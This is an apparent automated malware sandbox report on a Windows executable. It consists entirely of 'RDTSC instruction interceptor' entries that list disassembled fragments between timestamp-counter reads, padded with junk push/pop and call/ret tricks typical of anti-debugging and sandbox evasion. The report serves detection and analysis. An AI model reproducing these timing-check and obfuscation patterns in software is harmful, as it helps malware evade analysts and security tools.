Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B8E81E second address: B8E83E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B19Bh 0x00000007 pushad 0x00000008 jmp 00007F62F8C4B1A0h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B8EA9B second address: B8EAC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F62F943B888h 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B8EAC3 second address: B8EAD9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F62F8C4B1A0h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B8EAD9 second address: B8EAE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B8EEF3 second address: B8EF14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B1A9h 0x00000009 pop edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B8F43D second address: B8F443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B8F597 second address: B8F59B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B8F59B second address: B8F5C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F62F943B883h 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F62F943B876h 0x00000013 jmp 00007F62F943B87Bh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B8F5C7 second address: B8F5FB instructions: 0x00000000 rdtsc 0x00000002 jns 00007F62F8C4B196h 0x00000008 jnp 00007F62F8C4B196h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 pushad 0x00000012 jnp 00007F62F8C4B1AEh 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a jmp 00007F62F8C4B1A6h 0x0000001f push eax 0x00000020 push edx 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B929BA second address: B929C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B919FE second address: B91A1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F62F8C4B1A8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B92D68 second address: B92D7E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F62F943B878h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jbe 00007F62F943B876h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B4DF24 second address: B4DF44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F62F8C4B1A9h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9A1C0 second address: B9A1C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9A2DE second address: B9A2F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B1A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9A2F6 second address: B9A2FE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9A427 second address: B9A43F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B1A1h 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9A57F second address: B9A593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 jo 00007F62F943B878h 0x0000000d push eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9A9D8 second address: B9A9E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9C909 second address: B9C90D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9C90D second address: B9C911 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9C99C second address: B9C9EF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 2F206A26h 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F62F943B878h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 call 00007F62F943B879h 0x0000002e jmp 00007F62F943B887h 0x00000033 push eax 0x00000034 push ebx 0x00000035 push eax 0x00000036 push edx 0x00000037 push esi 0x00000038 pop esi 0x00000039 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9C9EF second address: B9C9F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9C9F3 second address: B9CA04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9CBA5 second address: B9CBAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9CBAB second address: B9CBAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9CBAF second address: B9CBB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9CF2A second address: B9CF30 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9D62F second address: B9D643 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F8C4B1A0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9D643 second address: B9D66D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jc 00007F62F943B87Ah 0x00000012 mov si, 6CE8h 0x00000016 movzx edi, di 0x00000019 nop 0x0000001a push esi 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9DA66 second address: B9DA6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9DA6C second address: B9DA71 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9DB1A second address: B9DB1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9DBCA second address: B9DC05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F62F943B876h 0x00000009 jg 00007F62F943B876h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007F62F943B878h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 0000001Ah 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d push eax 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 push ecx 0x00000032 pop ecx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9E051 second address: B9E065 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F8C4B1A0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9E065 second address: B9E0A8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F62F943B876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov dword ptr [ebp+122D3827h], esi 0x00000015 push 00000000h 0x00000017 mov esi, dword ptr [ebp+122D2B7Ah] 0x0000001d push 00000000h 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 jnp 00007F62F943B876h 0x00000029 jmp 00007F62F943B889h 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9EAEF second address: B9EB6C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F62F8C4B1AAh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F62F8C4B198h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 stc 0x00000028 push 00000000h 0x0000002a xor si, 3D80h 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ecx 0x00000034 call 00007F62F8C4B198h 0x00000039 pop ecx 0x0000003a mov dword ptr [esp+04h], ecx 0x0000003e add dword ptr [esp+04h], 0000001Ch 0x00000046 inc ecx 0x00000047 push ecx 0x00000048 ret 0x00000049 pop ecx 0x0000004a ret 0x0000004b mov dword ptr [ebp+122D33F4h], edx 0x00000051 xchg eax, ebx 0x00000052 push eax 0x00000053 push edx 0x00000054 push edx 0x00000055 push edx 0x00000056 pop edx 0x00000057 pop edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9EB6C second address: B9EB72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9EB72 second address: B9EB76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9EB76 second address: B9EBAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F62F943B885h 0x00000012 jng 00007F62F943B87Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9FC83 second address: B9FC89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9F399 second address: B9F39F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9FC89 second address: B9FC8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9FC8E second address: B9FCAD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e jmp 00007F62F943B880h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9FCAD second address: B9FD02 instructions: 0x00000000 rdtsc 0x00000002 js 00007F62F8C4B198h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d jo 00007F62F8C4B1BDh 0x00000013 call 00007F62F8C4B1A1h 0x00000018 jmp 00007F62F8C4B1A5h 0x0000001d pop edi 0x0000001e push 00000000h 0x00000020 mov dword ptr [ebp+122D3589h], ecx 0x00000026 push 00000000h 0x00000028 and esi, dword ptr [ebp+122D2AF2h] 0x0000002e xchg eax, ebx 0x0000002f push eax 0x00000030 push edx 0x00000031 jl 00007F62F8C4B198h 0x00000037 push edi 0x00000038 pop edi 0x00000039 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA3333 second address: BA3341 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA3341 second address: BA334B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F62F8C4B196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA334B second address: BA33D3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F62F943B87Ch 0x00000008 jnp 00007F62F943B876h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F62F943B878h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push eax 0x00000030 call 00007F62F943B878h 0x00000035 pop eax 0x00000036 mov dword ptr [esp+04h], eax 0x0000003a add dword ptr [esp+04h], 00000016h 0x00000042 inc eax 0x00000043 push eax 0x00000044 ret 0x00000045 pop eax 0x00000046 ret 0x00000047 xor si, 5F54h 0x0000004c push 00000000h 0x0000004e push 00000000h 0x00000050 push ecx 0x00000051 call 00007F62F943B878h 0x00000056 pop ecx 0x00000057 mov dword ptr [esp+04h], ecx 0x0000005b add dword ptr [esp+04h], 00000014h 0x00000063 inc ecx 0x00000064 push ecx 0x00000065 ret 0x00000066 pop ecx 0x00000067 ret 0x00000068 or dword ptr [ebp+122D3499h], esi 0x0000006e xchg eax, ebx 0x0000006f pushad 0x00000070 jne 00007F62F943B87Ch 0x00000076 pushad 0x00000077 push eax 0x00000078 push edx 0x00000079 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA33D3 second address: BA33D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA76C6 second address: BA76DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B883h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA76DD second address: BA7704 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F62F8C4B196h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F62F8C4B1A5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B565E6 second address: B5660D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B87Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F62F943B882h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA784C second address: BA7850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B5660D second address: B56617 instructions: 0x00000000 rdtsc 0x00000002 js 00007F62F943B876h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA7850 second address: BA7866 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B1A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B56617 second address: B56622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA7866 second address: BA786B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA9D67 second address: BA9D6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA9D6B second address: BA9DC4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a clc 0x0000000b push ecx 0x0000000c sub dword ptr [ebp+122D2DAFh], esi 0x00000012 pop edi 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007F62F8C4B198h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 0000001Ch 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f push 00000000h 0x00000031 xor dword ptr [ebp+12456AA8h], eax 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F62F8C4B1A5h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BADE06 second address: BADE0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BAEE98 second address: BAEE9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BAFF60 second address: BAFFAD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jp 00007F62F943B876h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f xor ebx, 7E3D638Bh 0x00000015 push 00000000h 0x00000017 mov ebx, dword ptr [ebp+122D2ABEh] 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push ebp 0x00000022 call 00007F62F943B878h 0x00000027 pop ebp 0x00000028 mov dword ptr [esp+04h], ebp 0x0000002c add dword ptr [esp+04h], 0000001Ah 0x00000034 inc ebp 0x00000035 push ebp 0x00000036 ret 0x00000037 pop ebp 0x00000038 ret 0x00000039 or dword ptr [ebp+122D3686h], edi 0x0000003f push eax 0x00000040 push ebx 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BAFFAD second address: BAFFB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BAEFF8 second address: BAF017 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push edx 0x0000000d jmp 00007F62F943B87Dh 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BAFFB1 second address: BAFFB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BB1022 second address: BB10B5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jbe 00007F62F943B882h 0x0000000d jno 00007F62F943B87Ch 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F62F943B878h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e push 00000000h 0x00000030 call 00007F62F943B889h 0x00000035 mov dword ptr [ebp+122D3686h], edx 0x0000003b pop edi 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push ecx 0x00000041 call 00007F62F943B878h 0x00000046 pop ecx 0x00000047 mov dword ptr [esp+04h], ecx 0x0000004b add dword ptr [esp+04h], 0000001Dh 0x00000053 inc ecx 0x00000054 push ecx 0x00000055 ret 0x00000056 pop ecx 0x00000057 ret 0x00000058 mov bh, 70h 0x0000005a mov dword ptr [ebp+122D1C33h], eax 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 push edi 0x00000064 push ebx 0x00000065 pop ebx 0x00000066 pop edi 0x00000067 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BB207B second address: BB207F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BB435D second address: BB43CC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a jnc 00007F62F943B88Bh 0x00000010 pop eax 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F62F943B878h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c push 00000000h 0x0000002e mov bx, 5DA0h 0x00000032 mov ebx, dword ptr [ebp+122D2F94h] 0x00000038 push 00000000h 0x0000003a je 00007F62F943B886h 0x00000040 call 00007F62F943B87Ch 0x00000045 movzx ebx, di 0x00000048 pop ebx 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BB43CC second address: BB43D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BB35D3 second address: BB35D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BB43D0 second address: BB43D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BB11E3 second address: BB11E9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BB35D7 second address: BB35F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B1A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BB43D4 second address: BB43DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
